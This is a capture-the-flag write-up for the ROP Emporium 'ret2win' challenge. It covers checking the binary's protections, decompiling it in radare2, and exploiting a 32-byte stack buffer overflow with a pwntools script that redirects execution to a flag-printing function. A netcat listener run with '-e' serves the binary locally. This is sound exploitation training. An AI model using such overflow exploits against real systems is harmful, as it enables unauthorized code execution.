Writeup

Firstly we need to check the security of the binary :

$ rabin2 -I ret2win
arch     x86
baddr    0x400000
binsz    7071
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

Ok, so we don’t have PIC and we have DEP active (NX). We don’t have access to the source code, so we need to do a bit of reverse engineering to understand how the binary works, let’s use radare2 (with r2ghidra-dec plugin).

$ r2 -d ret2win
[0x7fcad30b6100]> aaa
[0x7fcad30b6100]> afl
0x00400650    1 41           entry0
0x00400610    1 6            sym.imp.__libc_start_main
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    4 58   -> 55   sym.register_tm_clones
0x00400700    3 28           entry.fini0
0x00400720    4 38   -> 35   entry.init0
0x004007b5    1 92           sym.pwnme
0x00400600    1 6            sym.imp.memset
0x004005d0    1 6            sym.imp.puts
0x004005f0    1 6            sym.imp.printf
0x00400620    1 6            sym.imp.fgets
0x00400811    1 32           sym.ret2win
0x004005e0    1 6            sym.imp.system
0x004008b0    1 2            sym.__libc_csu_fini
0x004008b4    1 9            sym._fini
0x00400840    4 101          sym.__libc_csu_init
0x00400746    1 111          main
0x00400630    1 6            sym.imp.setvbuf
0x004005a0    3 26           sym._init
[0x7fcad30b6100]> s main
[0x00400746]> pdg

// WARNING: Globals starting with '_' overlap smaller symbols at the same address
// WARNING: [r2ghidra] Failed to find return address in ProtoModel

undefined8 main(void)
{
    sym.imp.setvbuf(_section..bss, 0, 2, 0);
    sym.imp.setvbuf(_reloc.stderr_128, 0, 2, 0);
    sym.imp.puts("ret2win by ROP Emporium");
    sym.imp.puts("64bits\n");
    sym.pwnme();
    sym.imp.puts("\nExiting");
    return 0;
}
[0x00400746]> s sym.pwnme
[0x004007b5]> pdg

// WARNING: Globals starting with '_' overlap smaller symbols at the same address
// WARNING: [r2ghidra] Failed to find return address in ProtoModel

void sym.pwnme(void)
{
    int32_t var_20h;
    
    sym.imp.memset(&var_20h, 0, 0x20);
    sym.imp.puts(
                "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?"
                );
    sym.imp.puts(
                "You there madam, may I have your input please? And don\'t worry about null bytes, we\'re using fgets!\n"
                );
    sym.imp.printf(0x4009dd);
    sym.imp.fgets(&var_20h, 0x32, _reloc.stdin_112);
    return;
}
[0x004007b5]> s sym.ret2win
[0x00400811]> pdg

// WARNING: [r2ghidra] Failed to find return address in ProtoModel

void sym.ret2win(void)
{
    sym.imp.printf("Thank you! Here\'s your flag:");
    sym.imp.system("/bin/cat flag.txt");
    return;
}

Ok, so the main calls the function pwnme, which is vulnerable to a stack overflow attack. Becaus PIC is not active, to exploit this binary we just need to pass in stdin:

  1. “A” * 32 (sizeof(var_20))
  2. “A” * 8 (base pointer)
  3. 0x00400811 (address_of(ret2win))

To set up an environment similar to the one in ctf I spawn the binary using netcat :

$ nc -lvp 9999 -e ./ret2win

then using pwntools I write an exploit that :

  1. Connects to the server
  2. Send payload
  3. Read flag

Exploit

#!/usr/bin/env python3

from pwn import *

conn = remote('127.0.0.1', 9999)
log.info(conn.recvuntil('> '))
ret2win = p64(0x400811)
payload = b"A" * 40 + ret2win
conn.sendline(payload)
log.info(conn.recvline())
conn.close()

with open("out.txt", "wb") as out:
    out.write(payload)

Launching the exploit…

$ ./exploit.py 
[+] Opening connection to 127.0.0.1 on port 9999: Done
[*] b"ret2win by ROP Emporium\n64bits\n\nFor my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?\nYou there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n\n> "
[*] b"Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}\n"
[*] Closed connection to 127.0.0.1 port 9999

Ok we got the flag, however we have a segfault on the server, why? Because we call a function ret2win using the ret instruction, so it doesn’t push on the stack the correct address to return, and segfault… -\_('_')_/-

Flag

ROPE{a_placeholder_32byte_flag!}